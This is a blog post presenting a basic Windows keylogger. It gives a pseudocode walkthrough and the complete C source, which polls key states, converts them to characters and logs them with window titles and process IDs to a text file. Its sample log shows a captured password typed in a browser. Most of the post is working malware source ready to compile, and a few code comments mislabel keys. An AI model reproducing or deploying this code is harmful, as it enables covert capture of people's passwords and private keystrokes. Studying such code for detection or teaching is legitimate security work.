Post

Basic-Keylogger

Basic-Keylogger

What is it?

Polls every key (8–255) using GetAsyncKeyState in a loop with a 50ms delay, logs keystrokes and window title changes to Keylogger.txt. Tracks the active window so each batch of keystrokes is labeled with the process ID and window title of where they were typed.

How it works

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
main():
  CreateFileW("Keylogger.txt", GENERIC_WRITE, CREATE_ALWAYS)
  → g_FileHandle = log file

  loop forever:
    for iKey = 8 to 255:   (skips 0-7 = mouse buttons)
      if GetAsyncKeyState(iKey) & 0x01:
        → key was pressed since last call
        SaveKeystrokes(iKey)
    Sleep(50)              ← 50ms between polls (~20 checks/sec)


GetWindowTitle() [called once per keystroke]:

  GetForegroundWindow() → CurrentWindow
  GetWindowThreadProcessId(CurrentWindow, &ProcId)
  GetWindowTextW(CurrentWindow, Buffer, 250)

  if Buffer != g_TitleBuffer:  ← window changed since last check
    memcpy(g_TitleBuffer, Buffer)
    swprintf(CurrentWindowTitle, L"\n\n[%ld] %ls\n", ProcId, g_TitleBuffer)
    WriteFile(g_FileHandle, CurrentWindowTitle, wcslen(...) * sizeof(wchar_t))
    ↑ wchar_t size (2 bytes) because WriteFile takes bytes, not characters


SaveKeystrokes(iKey):
  GetWindowTitle()  ← log window if it changed
  GetKeyboardState(Keyboard)  ← current state of all 256 keys
                                (needed for shift/caps detection in ToUnicode)

  switch(iKey):
    VK_CONTROL, VK_ESCAPE, VK_RETURN,
    VK_BACK, VK_TAB, VK_SPACE → skip (no output written)

    default:
      ToUnicode(iKey, MapVirtualKeyW(iKey, MAPVK_VK_TO_VSC), Keyboard, Unicode, 1, 0)
      → converts virtual key + keyboard state to Unicode character
        e.g. VK_A + Shift held → L"A", VK_A alone → L"a"
      swprintf(Buffer, L"%ls", Unicode)
      WriteFile(g_FileHandle, Buffer, wcslen(Buffer) * sizeof(WCHAR))

Log format:
  [1234] Chrome - Google
  password123
  [5678] Notepad - untitled
  hello world

This uses polling (GetAsyncKeyState) rather than a system hook (SetWindowsHookEx). The tradeoff: polling is simpler to implement and doesn’t require a message pump thread, but it can miss keystrokes if a key is pressed and released within a 50ms window. A hook-based approach fires on every keydown event regardless of timing.

The GetKeyboardState call before ToUnicode is important — it captures the state of modifier keys (Shift, Caps Lock, AltGr) at the moment of the keystroke, which is what allows ToUnicode to correctly distinguish uppercase from lowercase, @ from 2, etc.

keylogger.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#include <Windows.h>
#include <stdio.h>

#define KEY_STATE 0x01 // Checks if key pressed since last call
#define KEYLOG  L"Keylogger.txt"
#define KEYLOG_BUFFER 250 // Set the buffer size that the keylogger is allowed to have

HANDLE g_FileHandle = NULL;
WCHAR g_TitleBuffer[KEYLOG_BUFFER + 1] = { 0 }; 

VOID GetWindowTitle() {
	
	// Setup variables
	WCHAR Buffer[KEYLOG_BUFFER + 1] = { 0 };
	WCHAR CurrentWindowTitle[KEYLOG_BUFFER + 1] = { 0 };
	DWORD ProcId = { 0 };
	HWND  CurrentWindow = { 0 };
	DWORD dwNumBytesWritten = { 0 };

	// Empty buffers
	RtlSecureZeroMemory(Buffer, sizeof(Buffer));
	RtlSecureZeroMemory(CurrentWindowTitle, sizeof(CurrentWindowTitle));

	// Get Active window 
	if ((CurrentWindow = GetForegroundWindow())) {

		// Retrieve window title name, so we can identify when a new window has been opend with its PID
		GetWindowThreadProcessId(CurrentWindow, &ProcId);

		// If no window has been detected, return
		if (!GetWindowTextW(CurrentWindow, Buffer, (sizeof(Buffer) / sizeof(WCHAR)))) {
			swprintf(Buffer, KEYLOG_BUFFER, L"(No Title Detected!) \n");
		}

		// Check if Window title has changed based on its privous handle
		if (wcsncmp(g_TitleBuffer, Buffer, wcslen(Buffer)) != 0) {

			// Copy title into buffer
			memcpy(g_TitleBuffer, Buffer, sizeof(Buffer));

			// Print title to log file (With WriteFile)
			swprintf(CurrentWindowTitle, KEYLOG_BUFFER, L"\n\n[%ld] %ls\n", ProcId, g_TitleBuffer);

			// wchar_t is needed because WriteFile expects num of bytes to write not the chars
			if (!WriteFile(g_FileHandle, CurrentWindowTitle, wcslen(CurrentWindowTitle) * sizeof(wchar_t), &dwNumBytesWritten, NULL)) {
				printf("[!] WriteFile Failed: %d \n", GetLastError());
				return;
			}

		}
	}
}

VOID SaveKeystrokes(_In_ UINT iKey) {

	WCHAR Unicode[2] = { 0 };
	BYTE Keyboard[256] = { 0 };
	WCHAR Buffer[KEYLOG_BUFFER + 1] = { 0 };
	DWORD dwNumBytesWritten = { 0 };

	// Log current window
	GetWindowTitle();

	// Make sure KeyState is empty
	GetKeyState(0);
	GetKeyboardState(Keyboard);

	switch (iKey) {
		case VK_CONTROL: // CRTL key
			break;

		case VK_ESCAPE: // esc KEY
			break;

		case VK_RETURN: // backspace key
			break;

		case VK_BACK: // del key
			break;

		case VK_TAB: // tab key
			break;

		case VK_SPACE: // space key
			break;

		default:
			// Translates specified vkey and keyboard state to the correspoinding unicode char(s)
			if (ToUnicode(iKey, MapVirtualKeyW(iKey, MAPVK_VK_TO_VSC), Keyboard, Unicode, 1, 0) > 0) {
				swprintf(Buffer, KEYLOG_BUFFER, L"%ls", Unicode);
			}
	}

	// Write logs to file
	if (!WriteFile(g_FileHandle, Buffer, wcslen(Buffer) * sizeof(WCHAR), &dwNumBytesWritten, NULL)) {
		printf("[!] WriteFile Failed: %d \n", GetLastError());
		return;
	}

}

int main() {
	
	// Write to file
	g_FileHandle = CreateFileW(KEYLOG, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if (g_FileHandle == INVALID_HANDLE_VALUE) {
		printf("[!] CreateFileW Failed: %d \n", GetLastError());
		return -1;
	}

	printf("[+] Started KeyLogger! \n");

	do {
		// first 6 key are mouse clicks
		for (INT iKey = 8; iKey < 256; iKey++) {
			if (GetAsyncKeyState(iKey) & KEY_STATE) {
				SaveKeystrokes(iKey);
			}
		}

		// Implement 50 mili-sec delay to have less high CPU usage
		Sleep(50);
	} while (TRUE);


	return 0;
}
This post is licensed under CC BY 4.0 by the author.
Source code: Basic-Keylogger